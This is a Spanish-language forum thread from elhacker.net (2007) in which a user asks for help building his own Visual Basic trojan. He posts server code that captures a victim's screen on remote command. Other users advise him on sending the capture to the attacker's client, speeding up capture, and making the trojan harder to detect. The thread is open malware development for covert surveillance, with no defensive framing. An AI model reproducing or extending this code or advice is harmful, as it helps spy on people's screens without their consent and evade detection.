Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: ogcu en 20 Octubre 2007, 22:17 pm



Título: Ayuda con mi troyano y capturar pantalla.
Publicado por: ogcu en 20 Octubre 2007, 22:17 pm
Buenas a tardes a todos resulta que estoy desarrollando mi proio troyano, y me acabo de atascar en el siguiente problema al agregarle la funcion de captura pantalla.

Esto es lo que hago en Server:

Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error GoTo Error
Dim datos As String
Dim vDatos As Variant
ws.GetData datos
vDatos = Split(datos, "|")
Select Case vDatos(0)Case "Capturar_Pantalla"
 Dim captura As New cJpeg
 captura.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
 captura.Quality = CInt(vDatos(1)) ' La calidad la mando desde el cliente
 captura.SampleScreen
 captura.SaveFile ("D:\" & "captura" & ".jpg") ' Lo guardo en D para localizarlo mejor 
End Select
Error:
End Sub

mi problema es que como haga para que al enviar por segunda vez sobreescriba la imagen anterior, ¿Como hago esa verificacion para ver si el archivo existe?, y si sobreescribirlo.

Otra cosa no se como enviar esa imagen al cliente y ponerlo en un imagebox?, ya si envio

Código:
ws.Sendata captura

Me da erro que no coinciden los tipos.

y aprovecho para decirles como envio pulsaciones de teclado y de mouse.
Gracias de antemano.


Título: Re: Ayuda con mi troyano y capturar pantalla.
Publicado por: vivachapas en 20 Octubre 2007, 22:45 pm
yo en mi troyano lo q hice es q guarda la foto, la carga en un string, borra el archivo y manda la string...

para enviarla no te deja xq es muy pesada, la tenes q enviar por partes, si buscas en el foro hay post de estos, yo hice un manual... y hay varios mas...

para cargar la imagen en el image, la guardas en una ruta y despues pones

Código:
Image1.Picture = LoadPicture("aca la ruta entre comillas")

espero q te sirva, no te posteo el resto de los code xq toy apurado :S


Título: Re: Ayuda con mi troyano y capturar pantalla.
Publicado por: ogcu en 20 Octubre 2007, 22:57 pm
Gracias vivachapas, estoy un poco asi que despues me pongo a trabajar en ello, Ahora me he dado cuenta de otra cosa, es normal que mi compu se alente un poco al hacer la imagen y gurdarla, ya se que se alenta como 10 segundos para volver a la normalidad, o alguna otra forma de capturar pantalla?

Gracias

mi compu tiene estas caracteristicas

Pentium IV 2.8
1 GB de ram
128 de video
y mas 50 Gb de espacio en disco.


Título: Re: Ayuda con mi troyano y capturar pantalla.
Publicado por: HaDeS, - en 21 Octubre 2007, 00:39 am
Checate este post donde se discutia acerca de la velocidad de ese modulo al convertir la imagen de un bmp a jpg.
http://foro.elhacker.net/index.php/topic,179087.0.html
por ahi anda un post donde podes variar el tamaño de la pantalla para que el modulo se demore menos.
que te sirva.

saludso ;)


Título: Re: Ayuda con mi troyano y capturar pantalla.
Publicado por: ogcu en 21 Octubre 2007, 06:17 am
Una duda leyen tu post el link que me diste Hades me he decidido por usar la funcio que devuelve el .png, pero una pregunta ¿De que dll's depende esta?, Que metodos me aconsejas vos.

Gracias de antemano.


Título: Re: Ayuda con mi troyano y capturar pantalla.
Publicado por: HaDeS, - en 21 Octubre 2007, 06:44 am
ps en si depende creo que de la libreria gdi32, te recomendaria que le echaras una mirada a el codigo que posteo LeandroA, si no te funciona como es o se demora en pasar de formato el archivo, podes tener como guia el codigo que postee yo (El que hace la toma de la pantalla y la hace mas chica) y lo combinas con el codigo del png, asi se podria lograr una combinacion perfecta para hacer la captura de pantalla.

saludos ;)


Título: Re: Ayuda con mi troyano y capturar pantalla.
Publicado por: H4NG3R en 21 Octubre 2007, 15:20 pm
Yom lo que ago es simplement unauna vez tienes la pantalla capturada, la passo a bytes, como? En Vb ni idea xD, xo se k lo ago kn VB .NET i dudo k el codigo sea = aisi k busca por ahi . . .

Bueno ventajas: - Se envai mas rapido
                        - Evitas problema se sobresqribir
                         - Mas deificl de detectar el troyano
                         

Enga Salut!

H4NG3R